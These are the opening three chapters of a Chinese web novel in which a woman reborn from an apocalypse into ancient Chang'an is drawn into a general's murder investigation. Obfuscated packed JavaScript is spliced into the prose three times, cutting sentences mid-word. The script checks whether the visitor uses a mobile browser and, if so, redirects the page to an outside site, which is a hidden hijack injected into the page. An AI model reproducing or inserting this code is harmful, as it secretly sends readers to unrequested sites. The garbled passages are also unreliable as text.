《骗心为上》 1. 第 1 章 夜空中挂着一弯月,淡淡的光晕透着渗人的白。 破败的城市被撕扯成碎片,只余头顶那抹微光,格子楼里某处,传来窸窸窣窣的声音,沈昭倚在橱柜边,多日未进食,她早已枯瘦如柴,只有胸腔一点微弱起伏,证明她还活着。 身旁一把捡来的匕首是她唯一自保,不,自杀的武器。 末日来临,她亲眼见证了整个城市的瓦解、崩坏。 她跑不掉了,也无处可逃,但还想在死前留最后一点体面,最起码别变成不人不鬼的怪物。楼道里沉重的脚步声向她步步逼近,随着她的心跳声渐渐清晰,喑哑的低吟萦绕在整个楼道中,久久不绝,乌鸦没精打采地伏在枝丫上应和。 沈昭缓缓摸起身边的匕首,却连抬手都要用尽全身力气。 “砰---”门被推倒、踏破,沈昭用尽最后力气举起匕首向自己胸口刺去。 ...... 再次醒来,沈昭不可置信地低头打量自己,好消息:她重生了! 坏消息:她重生在泥沼中。 脑海中原主的记忆涌入,沈昭顾不得多想,当务之急是先活下去。 原主身子染了风寒,湿热淤堵未散,又误入绝境,自以为命不久矣,于这荒野气绝身亡了。 相较她一个曾在末日苟延残喘的人,这幅躯体已然强健许多。 可泥沼已吞噬到她的大腿处,为免越陷越深,她不敢乱动,只大声呼喊:“有没有人!” 但荒野偏僻之处,少有人涉足,周围方寸之内无可借力的东西。 苍生有德,让她重活一世,却又置她于险地。 沈昭凝神,细细回想,她曾刷过陷入泥沼中脱困的科普视频,但当时她并不在意,又岂会料到真有一日会用到。 似是感应到她的呼唤,她半陷于地面,随着地面细沙无规律地跳动,不远处传来闷雷般的震动。 遥遥望去,竟是一队浩浩荡荡的人马。个个身披具甲,身姿飒飒,听到她缥缈的呼声,为首的谢珩勒紧缰绳,顾不及细看,示意手下两人:“去探探何人在那。” 五更收钥后,他带人奔赴长安城外的牛家村,寻十多年前走散的幼妹,其父早逝,幼妹自夷陵走失,至今下落不明,祖母因此卧病在床,近几月沉疴顽疾愈甚,谢珩晚当值,日查探,可当年方圆几十里都挨家挨户寻过未果,恰听手底下人提过,长安城郊的牛家村中有几户人家,是从夷陵来的。 他带人一一问过,只余一家,有名与他妹妹年龄相仿的女子,独身一人居住,附近邻里偶有几次见过一男子出入,但待他们赶到时,早已人去楼空。 此事未毕,他们回城路上得知昨夜三更许,宫中一婢女亡于掖庭,谢珩身为金吾卫大将军,虽昨夜并不在宫中夜巡,但此事与他亦有责任。 谢珩不由得快马加鞭赶回宫,他留下的两名侍卫受命,策马向宫中奔去。 - 沈昭见有人向她而来,微微松了口气,总算得救了。 这几日夜里下了雨,地上本就泥泞不平,及走至近处,侍卫才警觉前方竟是个巨大的泥沼,走在前的侍卫已来不及停下,匆匆从马上翻身跃下,落至一旁空地,在后的侍卫及时刹住,把马牵至一旁,上前帮忙。 马儿比人灵活躁动,突然被困行动不能,只一味越陷越深,两名侍卫伸手扯着缰绳,费了半晌功夫,才将陷入泥沼中的马儿拉出来,已累得大汗淋漓。 沈昭因着没有妄动,身子并未下沉更多,她冲着累倒在一旁的侍卫笑着摇摇手:“喂,两位将军,你们也搭把手,拉我一把呗。” 两名侍卫对视一眼,又环扫周围一圈,连个趁手的物件也没,如何搭手?眼瞧这泥池已经快没过大腿了,要怪只能怪她倒霉。 他俩弹弹身上的泥点子,对她一礼:“妹子,别怪我们见死不救,你也瞧见了,刚才就是拉这畜生都费了一把劲,不是我们哥俩不想救,这附近没个藤条,我们就是够也够不着你不是,要不这样,你留个名字居址,我们回去告诉你爹娘,每年给你多烧些纸钱,你全当没见过我们哥俩,我们先给你赔不是了。” 还不及沈昭说话,他俩爬上马,一溜烟跑到三里之外了。 “喂!”在末日见惯了生死抉择,沈昭虽知道他们权当自保,但她名字还没报呢,好歹是“一尸两命”。 她心一沉,只能姑且一试,伸开双臂,将身子稳稳向后倒去...... - 日影渐短,炎气初蒸。 沈昭从泥沼中脱身,已隅中向午,身上发了汗,穿越来时昏涨的头脑清醒了几分,她步履不停,往城内走。 远处人声渐响,炊烟袅袅,饭菜香飘来,勾得她肚子中的馋虫不住地叫嚷。 她依着原主记忆往家走,穿过眼前那座桥,再转两个路口便到了。 可眼前一个小沙弥跌坐于地,双足大张,泪珠似断了线的菩提子,扑簌簌地滚过圆腮,哭声震天,身上的僧袍都被泪洇湿。 他横于路中,正正挡了沈昭回家的路。 沈昭在他身前蹲下:“小师父,别哭了,要不请你先让一让,让姐姐先过去?” 小沙弥却置若罔闻,只沉浸在其悲痛中,越哭越上头。 沈昭一个头两个大。 “看!飞机。”沈昭拍拍他的肩,指着天上一朵云,猛地大喊。 小沙弥经她一吓,果然顿了顿,睁着泪眼才看清眼前人。 沈昭亦顾不得多想,拉着他的胳膊往桥边带:“小师父,日头大,咱们换个地方慢慢哭。” 她侧身上了桥,却脚下一沉,低头去看,小沙弥泪水连连地抱着她的腿:“施主仁善,我迷路了,找不到来时的马车,你可知祥和客栈在何处?” 小沙弥在此良久,唯有沈昭一人同他搭话,怕她跑了,手抓得更紧:“请施主行个方便。” 沈昭承袭原主所有记忆,倒对这客栈有些印象,她转身蹲下拉开小沙弥:“你先起来,我可以带你去。” 小沙弥还未起身,大路上一辆马车疾驰而过,他慌乱抬手顺着一指:“马车,是那辆,若是我未赶得及,不能赶回灵山寺,师傅们一定会责罚我,其实我没有偷懒......” 沈昭打断他:“快追呀。”接着顺手一抄,但小沙弥在地上哭了良久,腿酸麻难忍,一个趔趄又趴到地上,撅起的嘴刚要张开,作势要哭。 沈昭及时捂住他的嘴,指着马车消失的方向:“你顺着大路跑,我试着去拦,快跑。” 她抄近道去追,只寄希望马车跑慢些。 转进巷子前,她回头一瞥,庆幸小沙弥已然起身,跑上路了。 沈昭七拐八拐,绕回大路,回望来时街坊,并未见马车赶来,她视线在周遭逡巡一圈,准备借些物件拦一拦,拖延时间。 但她半个身子都被污泥染脏,头发散乱,从头到脚透着狼狈,倒像个刚从破庙里跑出的叫花子。 路人不时对其侧目。 她溜进隔壁小巷,歪着身子往外看,留神着外面的车马声,同时手脚麻利地搬了几块石头、抱着竹竿偷偷往地上一扬,正正好好把路堵个严实,又故意隔了一段距离寻了个相对安全的位置,屡屡头发,舒舒服服躺下了。 风乍起,头顶一串西域琉璃风铃被吹得叮当作响,这响声很快又被淹没在商贩们的叫卖声中。 远处马蹄声、车轮碾扎声震得她身下的土地轻颤。 经历两世生死奔波,此刻她才有活过来的实感。 “借道,让一让,谁啊,在路上布阵呢!”一伙计推着满满一车菜匆匆而来。车轮好巧不巧被沈昭布阵的石头咯歪,几颗白菜越滚越远,“哎!我的菜。” 因着离得远,伙计堪堪停稳车,并未看到前方的“罪魁祸首”,沈昭心虚地耸耸肩,跑上前帮着捡拾。 伙计抹一把汗:“谢谢妹子...” 见着满身泥污的沈昭,他脸上闪过一丝不忍,无奈地摇摇头,从车里抱起两颗白菜大喇喇往沈昭怀里一递:“妹子,别嫌少。” 沈昭还未道谢,便被身后马车车夫的喊叫声打断“让一让”,车夫走走停停沿途接人,已耽误了不少功夫,如今快至城墙不由得加快速度。 沈昭将手中伙计的“好意”往车上放好,捂着肚子便在固定点位蹲好,大声喊道:“哎哟,我的孩子。” 周围见过沈昭刚刚一番布置的摊贩,只抬眼等着看戏。 路过的几个妇人不知情,走到沈昭身边关切地问:“妹妹这是怎么了,前面就有医馆,你可还能走,我们把你扶过去?” 伙计愣了几许,不明所以地眨眨眼,嘴里咕哝着:“可不关我事。”低头捡菜去了。 沈昭只低头捂着肚子,偏过头从人缝中远远去寻小沙弥的身影,心里暗道:这小和尚,加把劲啊! 马车车夫远远便瞧见前方道路有碍,不由得皱紧眉头,停下马车,扬着鞭子怒道:“怎么回事。” 霎时间,看戏的、关切的、捡菜的人围作一团,彻底将路堵个齐全。 沈昭头上虚汗涔涔,旁人只当是她疼痛难忍,几个身量高挑的妇人卷卷袖子:“来,姊妹们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571555|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,帮把手,咱们把她抬过去。” 她身上一轻,被众人稳稳抬起:“哎,等等,疼疼疼。” 妇人们生怕再伤着她,又慢慢将沈昭放下,拿她束手无策。 “让开让开,出什么事了?”吵嚷声中,几名身穿金鳞铠甲的金吾卫佩剑走来。 但这人群不散反聚:“那是谢大将军!” “让开让开,让我也看看。” “据说,一个月前他同西域来使比武,一人战三十人,只一柄剑,拿下!堪比关羽在世。” “要我说更是貌若潘安!” “可不就是为了防着你们,圣上安排他夜巡,否则青天白日的,还不知多少痴儿全堆道儿上堵人了。” 多亏她们口中的大人物,这路被彻底堵死。 沈昭很想抬头一探究竟,但人群推攘,倒把她挤至方寸之地,乌皮靴向她步步而来,金线绣制的祥瑞龇着尖牙,带着威压逼近。 远处一抹茶褐色身影姗姗来迟,明晃晃的小脑袋晕着金光,沈昭轻吁一口气,从地上坐起,猫着身子,如鱼般从人群中游走了。 她溜进巷子,转身回眸,一男子高立其中,眉峰如刃,金盔下压的玄铁护额亦掩不住俊逸,偏生一双凤眼微微上挑,黑如点漆,亮若寒星,薄唇微抿,仅唇角微翘的瞬息泄出一丝少年意气。 金盔下谢珩凤眼倏地一眯,四目相撞之前,沈昭早已提裙转过巷口,而他只捕到一个滑如游鱼的转身和一角污泥裙裾。 小沙弥大喘着气,用手扒着车辕:“总...总算赶上了。” “哎,刚才那个姑娘呢!”待众人去寻时,早已不见了沈昭踪影。 谢珩思忖几许,收回视线,不染而朱的薄唇微启:“散了吧。” 谢珩从宫中查探后,翻看了昨夜值守名册,死的姑娘名唤莹儿,再过几日便期满,免役归家,如今失足坠井,不禁令人扼腕哀叹,验尸并无明显外伤,但隐约透着蹊跷。 名册所记,昨夜应是惊云负责那一带巡视,问道:“惊云何在?” “据属下了解,昨夜御风同惊云换班,是御风当值,他人已被控制在左衙。” “走,去审御风。” - 圣上月前赐一批暗卫转明,御风便在其中,他向来恪尽职守,下月将要成婚,其他兄弟知他想调班换休,也乐意助他。 左衙监房,御风被束缚手脚于木桩上,他很少扯谎,心中惶惶,早乱了方寸。 “御风,昨夜到底发生何事,此事事关内廷,可大可小。”谢珩面若寒霜坐于一侧,早在踏进监房那刻,便从他躲闪的眸光中,知晓此事还有内情。 “将军,该说的我都说了,昨夜夜巡,未曾擅离,昨夜...并无异常。” 内侍省与掖庭局明日将以失足溺亡定案,但到底事关人命,且其中确有隐情,谢珩向来不用私刑,可御风仍死守不放,审问陷入僵局。 一个金吾卫俯身在谢珩耳边说了几句,谢珩忖度之后:“去,带来。” - 苍穹褪去湛蓝,四野青灰如铁,唯西方一抹蟹壳青犹自挣扎。 沈昭饥肠辘辘,终于走至家门前。 但她手还没触及家门,身后突现的几名金吾卫认出她,不由分说,将她带回左衙。 “喂,你们这是当街强抢民女。” ...... 沈昭挣扎着被推进监房,随后一柄长剑落于她颈侧,寒凉的刀刃紧贴皮肤,她悄然抿唇,不敢多言,眼波流转,认出坐在一旁的人,正是刚刚街市上引起骚乱的将军,果真玉面朱唇,气度卓然。 谢珩眼角的余光扫过,认出沈昭,毕竟整个长安街巷如她一般之人,少之又少。 觉察到她的凝视,他不耐地轻咳一声,起身走近御风:“你蛰伏多年转明,自然不易,只要交代清楚昨夜之事,我断不会为难,否则...” 沈昭肩上的剑身寒光一闪。 “慢着!”御风挣扎着握紧拳头,张口欲言。但很快他又反应过来,此不过为了激他罢了,谢珩不会滥杀。 沈昭此刻才认出眼前被绑之人,正是原主严元清的未婚夫御风。 她视线瞄到眼前长剑,长睫如蝶翼急颤,对着御风不住地使眼色:快说啊!你媳妇命在人家手里,你都不管? 御风咬了咬牙,又将憋在喉间的话狠狠咽了下去。 谢珩看向沈昭身后,和金吾卫对视一眼,示意动手:“既如此,那莫怪——” “等等,我知道!”沈昭颤巍巍地举起双手,望向谢珩。 2. 第 2 章 沈昭暗暗叫苦:什么天选运气,一日之内能死三次。 眼前人看着朗目疏眉,是个恂恂公子,但人不可貌相,这些将军头子手下人命无数,用刑定然阴森可怖,什么剥-皮、腰-斩、车-裂... 她不禁头皮发麻,打了个冷颤。 这原主未婚夫瞧着嘴也硬,不知到底所犯何事,祸及家人,但她记忆中,两人往昔鹣鲽情深,如今刀架在所爱之人身上,竟也会见死不救。 来不及细想,她还想给原主和自己留条全尸呢。 反正死路一条,不如搏一搏,她眼眸淡漠略过御风,在末日见得多了,为了自保罔顾至亲性命,她见得太多。 她无权苛责,但终归不屑。 谢珩眸色略沉,护腕下的手掌微抬:“带下去。” 沈昭肩上的重量卸下,金吾卫收刀上前,将她押至另一处。 待她被押走后,御风开口:“大人,她并不知情,求大人开恩,放了她。” 谢珩的脚步顿住,侧影中,鼻梁下的阴影利若刀裁:“那你说,到底发生何事?” 见他不语,谢珩留下两人看守御风,大步跨出,又带了两名下属,来到隔壁沈昭所在。 沈昭早已乖乖认怂,用手抚着脖子,看似娇软无力,低垂眼帘如一只乖顺的羔羊,实则借睫毛阴翳掩住眸中疾闪的盘算。 原主并不知实情,她更不知。 暮色四合,屋里燃着一盏烛火,四四方方的窗户被橘色铺满,屋内仅两把木椅,分立在桌子两侧。 谢珩先一步坐下,淡然开口:“坐吧。” 沈昭扯扯嘴角,硬挤出半分笑,并不露怯,脚步微抬,但瞥见玄色乌皮靴裹住的劲瘦小腿,以及长身凶煞的不明兽纹,不禁凉透背脊,又索性回到原地:“大人,我只知御风在城郊有一别院,其余的事,我并不知情,大人若派人去搜,或许有所收获。” 谢珩不语,骨节分明的手一下下敲击桌缘。 御风自愿转明,早有退隐娶妻生子的打算,在金吾卫中,相熟之人都知晓,有一处私宅倒也合乎情理。 墙上四人的剪影静若一副画,只有屋外树影婆娑,含半分生机。 沈昭见他眉头微蹙,久未开口,扯扯自己裙摆:“大人,我从泥沼中艰难爬出,我本住城中礼安坊,若不是御风私宅所在,又岂会无故跑至郊野,我还在路上见过你呢,你曾留下两人救我,你可还记得?” 谢珩听闻此话,终是抬眸仔细打量起眼前的沈昭,素色罗裙上绣的青莲纹早被污泥吞没,只余一片混沌的暗褐,头上的青丝散乱,她抬手抹过脸颊,汗珠混着泥痕在腮边拖出几道暗纹,恰似烟霞染污的素锦。 几缕湿发黏在鬓边,沾着草屑的汗珠垂在睫上,将坠未坠,被屋内柔柔烛火染成琥珀,倒映着她眼底悦动的狡黠,一双鹿儿眼分明浸在狼狈中,却仍如碎星般闪亮,流转着野狐戏弄猎手的幽光。 这光又被藏得深幽,眼前女子不是犯人且是他属下的家眷,于情于理,谢珩很快偏了偏视线,盯着暗墙。 一日内他们竟已见过两次。 他让属下去寻在郊外留下救人的两人,核实是否真如沈昭所说。 未久,那两人战战兢兢被带至偏房,本就因见死不救,心中发虚,又被将军半夜提审,方寸大乱。 不敢抬起头,还未进门,便跪在门口不住谢罪:“将军,那泥沼太深,属下的马儿陷入其中,都差点溺亡,属下并非见死不救,实在是无能为力,还请将军责罚。” 遣他们而来的金吾卫踢了一脚,催促道:“上前认认。” 他们躬身而入,抬眼瞥了沈昭一眼,互相确认后,退至一旁:“是她,确实是这姑娘。” 谢珩:“下去领罚。” 两人被带走,谢珩安排人手随沈昭去查御风私宅。 沈昭偷吐出一口气,还好押对宝了! 她猜测谢珩如此的大人物,肯定不会随她走这一遭。 她犹记得回来途中,有几处猎户布下的陷阱,反正都是死,有一线生机也得逃,能拖得一时是一时。 谢珩安排了三名金吾卫随行,外加他的亲卫杨方,碍于沈昭的身份,又多为她备了一匹马。 马儿打了个响鼻,躁动不安地摆弄着马蹄,没精打采地眨眨眼。 沈昭脸上的笑僵住,她可不会骑马,万一摔下来,缺胳膊短腿,或者马失控跑到悬崖,拉不拉得住还得另论,她连连退了几步:“我不会骑马,要不我们同...” 不行,若同乘一匹马,她一会怎么逃呢。 沈昭话音未落,耳边传来一声:“得罪了。”下一瞬,她身子一轻,被杨方拎着肩膀带上了马,她趴在马上,胡乱抱住马脖子,双脚慌乱中一只踏到马镫,死死地闭着眼:“我真不会骑马。” 杨方见她稳住身子后:“姑娘放心,我帮你牵着,你只需坐稳便可,这马性情温顺,摔不到姑娘。” 由不得沈昭拒绝,身下的马已经随他们小步而驰,虽并不是疾行,但对于初次骑马的沈昭来讲,已经颠得她一身骨头快散架了。 一行人很快行至郊外,乌云堆月,将空中唯一一点光遮盖。 “等等。”沈昭忍住胃里翻涌,待他们走得慢了,才从嘴里挤出几个字。 杨方一行知道此处地形复杂,不敢冒进,只立在原地,等沈昭指路。 沈昭用手撑着直起身,只觉像一滩软泥般,四肢都不属于她,她眯着眼四处张望,而后松开脚蹬歪着身子从马上滑下,几乎跌撞般向前扑去,腿绵软无力,膝盖微微打颤,直到后背重重抵在一旁的树干上,才均匀喘了几口气。 沈昭摆摆手:“让我歇会。” 杨方等人虽心中焦急,但见她身体有恙,只能耐着性子等待。 沈昭修整片刻后,从地上坐起,佯装拍拍身上的土:“走,我记得大概方向。”见他们犹豫,又说:“先把马拴在这儿吧,免得...一会又陷进泥沼。” 要不一会怎么掉进去呢。 她记得曾路遇一个土坑,深几尺,为避免有人误入,她在周围做了标记,竖插半圈木棒,应是好找。 可身后几人分列一排,紧跟随她,如何做到她在先却不掉下去呢? - 不久,她终于看到远处泥沼,再往西走走,就是土坑了。 沈昭抬手止住:“小心,前面就是我曾陷进去的泥沼,马上就到了,我们绕过去。” 她心乱如麻,此处哪有什么别院,能否脱身在此一举,若他们中计,哪怕能凭借高超身手上来,趁着月色她也能躲躲。 周遭静若死水般沉寂,四野深如墨染。忽然,远处跃起一痕流火,不过豆点大,却在此刻分外明显。 沈昭突然加速往前跑:“就在火光处,快!他们可能要放火了。” 身后的几人提刀快步上前,很快便将沈昭甩在身后,看着他们的背影,沈昭窃喜。 而后只听几声闷响,杨方一等中计掉入土坑,沈昭翘起嘴角,急刹住步子,转身往回跑。 她频频回首远望,一缕鸦青发丝随风翻飞,恍若墨线勾出的游鱼,在素白衣领间仓惶摆尾。生怕他们追上来,沈昭未注意脚下虬枝错杂,踉跄间,竟直直撞入一袭玄色衣袍。 来人胸膛挺阔,两人相撞震出闷响,衣襟前金线绣制的纹路硌得她额角生疼,冷松香扑面,惊得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571556|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她喉间溢出半声呜咽。 沈昭抬头一瞬,恰对上那双清眸,金线勾勒的广袖凌空舒展,不留情面地拂过她的面庞,沈昭向后仰去,摔了个瓷实。 “嘶---”沈昭摸着自己的屁-股从地上爬起,忍痛说道,“你这人,都不知道拉一把么。” 待沈昭想跑时,远处火光渐近,周围被金吾卫团团围住,杨方等人慢慢走向谢珩一众。 擎着火把的金吾卫上前见礼:“将军,方圆几里并未发现私宅,只几处草屋,倒像是附近猎户歇脚所处,并无异样。” 明明周围火光炬炬,但沈昭的心却如坠冰窟。 谢珩缓缓开口,身线浸着霜雪:“当街以有孕之身拦车、如今又戏耍拖延、引兵入瓮,满口谎言,姑娘倒颇有几分本事,你可还有何要辩?” 沈昭泄了气,耸拉着肩膀,还能说什么,她那点小心思早被谢珩一眼看穿。 此刻哪怕她如实说自己并不知情,眼前这位定然不会信了。 火光在谢珩脸上明灭,将他的轮廓揉碎又拼合,亦如碎金坠入他的眸底,却化不开浓雾般的幽深。 沈昭垂首盯着脚下,铁甲骑兵威压逼得她大气不敢喘,她轻抚着小腹,奔波一天滴水未进,好歹吃个饱饭再送她上路。 远处哒哒的马蹄声划破此刻死寂,一金吾卫策马而来,及至眼前时,从马上翻身而下,跪在一旁:“将军,御风...他死了。” 沈昭不可置信地抬头,还未看清来人模样,突觉天旋地转,被谢珩直接扔上马,随着马儿一声长啸,她双手紧紧抓着马镫,双脚在空中不听使唤,连喉中咒骂的话也喊不出了。 不知行了多时,她眼见脚下的路从泥泞转干,又变成石板路。身下的颠簸感渐弱,慢慢停下。 沈昭失力松手,再一次从马上缓缓滑下,顺势靠在马腿上,待喘匀过气,才认出这是刚刚她来过的地方。 屋内的血腥气翻涌,被绑在木桩上的御风耷拉着脑袋早已没了气息,血流不止,顺着铁甲滑下,落到地上聚成血泊。 看守的侍卫横七竖八地躺在地上,慢慢转醒后,意识到自己着了道,跪在地上,不敢多言,谢珩慢慢走向其中一人:“惊云,昨夜你与御风换班,你人在何处,刚刚发生了何事?” “将军,一切都是属下的错,属下念着御风想多挣些银钱补给家用,万万没想到他竟遭奸人所害,昨日属下酉正便出城了,刚回左衙,和弟兄们还没说多会,便觉得四肢酸软无力,接着便没了意识,属下看护不力,还请将军责罚。”他句句恳切,因着激愤不由得握紧双拳。 谢珩视线略过其他人,他们所言与惊云相符,另有侍卫查到院中确实留有迷香灰烬。 宫女与御风,有何牵扯呢? 谢珩命人保护好现场,暂候仵作验尸。 惊云的答话断断续续入耳,沈昭听了个七八分,原是他们二人昨晚换值,因御风疏忽,宫内出了事,而后他又遭了难,死无对证。 沈昭很快又把伸长的耳朵缩了缩,不知情者无罪,若是真听到了内围私隐,她怕是想活也活不成了,她忍着胃中翻搅,伺机再溜。 待谢珩安置好一切,余光扫到暗处的沈昭,她正用手捋着胸口,露在袖口外的一截皓腕如月般凉滑,置若罔闻地倚在一旁休息,裙裾零落于地铺开,狼狈得像朵待凋谢的花儿。 谢珩缓缓提步走向她,衣摆碰触花儿的瞬间,又谨慎退后半步,他蹲在一旁,并未直视她。 唯有两色衣摆,浅浅掠过,一触即分又轻摇摇地互相贴着。 他看着一旁没了气息的御风,嗓音沉在喉间:“看到自己未来夫主惨死面前,姑娘竟如此冷静?” 3. 第 3 章 谢珩的质问音犹在耳,血腥气在鼻息间翻腾,又急行颠簸一路,沈昭终是忍不住,伸手扯过谢珩的衣摆,一口吐在谢珩的衣袍上。 “你...”谢珩猛地起身,连带着半身污浊踉跄后退几步,手指蓦地蜷紧,手背青筋暴起,他瞥见满地污渍,忽觉喉咙酸腥泛起,青着脸大步离开:“来人,打扫。” ..... 沈昭机灵,冲着谢珩吐了个满当,自己的衣裙却半点没染,经过一日折腾,身上沾的污泥已干缩成硬块,待其他人打扫时,她用手掰着身上的泥块玩,胃里搅扰的劲儿也没了,一身轻松。 众人等谢珩换衣时,脸色各异。 不仅为着御风的死难过,更为眼前御风这未过门的夫人捏把汗,他们还从未见过有人对谢珩如此不敬。 未久,谢珩换下衣袍折返,院中已被人清扫干净,空气中丝丝缕缕的异味被风吹净,唯有地上的血迹转至暗红。 属下抬来圈椅置于院中,谢珩派去调查沈昭的人亦正在回来的路上。 他面色如常入座,问道:“姑娘,可该对今夜之事有个交代?还请你如实相告。” 沈昭饿得肚子咕咕作响,她穿越而来,原主和原主未婚夫一个因病一个被杀,一日之内都死了,她半分内情不知,自己只想活下来罢了。 面对谢珩的紧逼和追问,很难不让人想起之前半夜打电话加班的可恶领导。 反正都是一死,她横下心,带着满腹委屈说道:“御风有你这个凶神上司也算倒了霉了,人有三急,谁值班时没个特殊情况,事出巧合,也许别人在暗处盯着,就是趁他不在时动手,他虽是我的未婚夫,但我又不能时时盯着他,你不去问其他人,逮着我审问, 我不知道,刀架在我脖子上,我只是看他见死不救,为了自保假意拖延罢了,我虽然骗了你们,可是我只想活下去,”她把眼闭上,大义凛然道,“要杀要剐随你便。” 前去调查沈昭的金吾卫风尘仆仆归来,见礼后在谢珩耳畔低声说了几句。 谢珩翻看手中的册子,上值点卯时辰记得一清二楚,他虽不是暗卫,亦知暗卫选拔之严苛,宫中值守于他们而言最微不足道,加之御风为人踏实,又岂会擅离。 他嘴角扯出一丝弧度:“可是御风昨夜寸步未离。” 沈昭心中暗气,若是上班摸鱼被抓就算了,这古人太不经活,认真上班还出错了,自己刚才那一番慷慨激昂的质问,反倒更对不上了,她咬唇不语。 派去查沈昭的人刚刚来报,御风未过门的妻子名严元清,家住礼安坊,与御风青梅竹马,定了下月成亲,因着御风这几日公务繁忙,她们许久未见,与宫中更无往来,她应当不知情。 只是张口闭口竟无一句实话,倒叫人捉摸不透。 万千思绪被她搅弄,倒更乱做一团,谢珩轻按额间,罢了,既已查清无事,先放人回去。 话还未说出口,从外跑进一家仆,被金吾卫拦住,慌张地跳起来大喊:“少爷,老夫人她...!你快回去看看老夫人吧。” 谢珩脚尖轻触地面,宽袖微拢,飞上屋檐,向晋国公府而去。 “喂...”沈昭冲着他消失于夜的背影大喊。 ..... 更鼓声响,半数街坊已暗入梦乡,晋国公府却灯火通明。 谢珩归来,躬身一礼:“母亲,祖母她?” 见到谢珩,李立雯突觉有了依靠,迈着虚步上前:“你快进去看看吧,只怕是你祖母撑不过今晚了。” 母亲李立雯引他入内室,大夫眉头紧锁,正收起药箱:“将军,老夫人肝气郁结于内,风寒客邪于外,百病生于气,风寒虽易散,但心结不疏,气血难畅,此次虽暂时无碍,[1] 但若遇急症,只怕到那时会药石无灵,关键还要调息以和情志,若再有下次,只怕老朽无能为力。” 听到老夫人渡过凶险、暂时无恙,李立雯悬着的心稍稍放缓,眼中噙的泪不争气地落下,她走向外室,压低声音:“幸好你父母福大命大,珩儿,你这几日去寻你妹妹,可有消息?” 丫鬟匆匆来报:“夫人,少爷,老夫人好像醒了。” ..... 晋国公府乱做一团,左衙亦如是。 “来来来,各位兄弟,坐坐,你们是御风的同僚,那便都是自家兄弟,他当值那夜到底发生何事,竟招惹了杀身之祸?”沈昭大方地席地而坐,冲着身旁的人挥挥手,像回了自己家般熟络。 谢珩走得匆忙,并未交代该如何处置她,御风武功不弱,能闯入左衙下迷香,无声无息中把他杀了的人绝非泛泛之辈。 但其他金吾卫未收到指示,只得先将其留在左衙,等候吩咐,御风刚亡,这姑娘经查与此事无关,谢珩定不会多作为难,留她在此,一为交差,二为保护。 他们便没有拘着她,但这沈昭这性子和谁都能唠上几句,三言两语便将附近几个金吾卫笼络过去,打听来由。 男女有别,沈昭没那么讲究,但金吾卫众人只隔开一段距离,蹲坐在一侧。 其中一名便是白日马儿陷入泥沼未救她的其中一人,他搔着后脑,腼腆地笑着:“今儿白日是我不对,我不知您是风哥未过门的妻子。” 沈昭一笑而过:“无事,下回帮一把就好。” 宫内外流言纷纷,但孰真孰假还未分明,其中一人摆摆手:“哎,就是宫里死了个宫女罢了,风哥倒霉,正巧当值但又没发现异样,这不就被谢将军喊来问话。” 另一人拍打他肩:“你这小子憨,那宫女若是失足落水,是意外,风哥可是被人害了,这其中肯定有关联,没那么简单。” “要我说,将军就是太较真,我听闻内侍省都定性了,那宫女以失足结案,尸体都扔了。” 旁边一人捅捅他的手臂,给了个眼色,暗道:怎么说话呢,风哥未过门的媳妇还在呢。 沈昭经这几番折腾,能活下来实属不易,查案这事她可没金刚钻,揽不了这活,她捂着干瘪的肚子,看向他们:“各位兄弟,咱们这有没有吃的,我一天没吃饭了。” 一人开口:“姑娘,不是哥几个小气,只是咱们按时辰放饭,既过了点,就没有剩余了。” 沈昭眼眸滴溜溜地转,映着月光流转:“要不这样,你们将军既没有说要继续关押我,我本不算犯人,我先回家吃些东西,总归我没有路引,想跑也跑不了。” 众人犯了难,她所言不虚,但没收到命令,他们还是不敢轻易放人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571557|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈昭见他们迟迟不语,索性弯下腰,蹲在地上:“哎哟,我饿得肚子疼。” 金吾卫面上绷着笑,这一天经历,任谁也不能尽信她的话,她借机想溜的心太过明显。 但众人默然,毕竟谢珩并未下令直接拘着她。 沈昭见他们不拦,顺势伸手拉住一名,悄声说:“你刚才亲口答应,下次帮我,现在机会来了。” “啊,这---” “你带我去找个大夫吧。”沈昭紧紧拉着他的手腕。 “快去吧。”其他人可惹不起这尊神,又念在同御风的情谊,眼见她缠住了这倒霉蛋,总归人丢了赖不到他们头上。 金吾卫试着挣扎不开,无奈叹气,但毕竟他见死不救在前,这姑娘无要案在身,不过送她回家一趟,将军赏罚分明,哪怕真多罚他一次,他也认了:“姑娘,走,我带你去找大夫。” 旁人默许,未出手阻拦,沈昭学着江湖做派,抱拳一礼:“多谢几位大哥。”随人离开了。 待回望左衙匾额消失于黑夜中,沈昭直起身子:“多谢了,若你们将军事后问起——” “姑娘放心,这长安城哪条街有几个叫花子咱都门清儿。” 言下之意,她真想逃也逃不了。 - 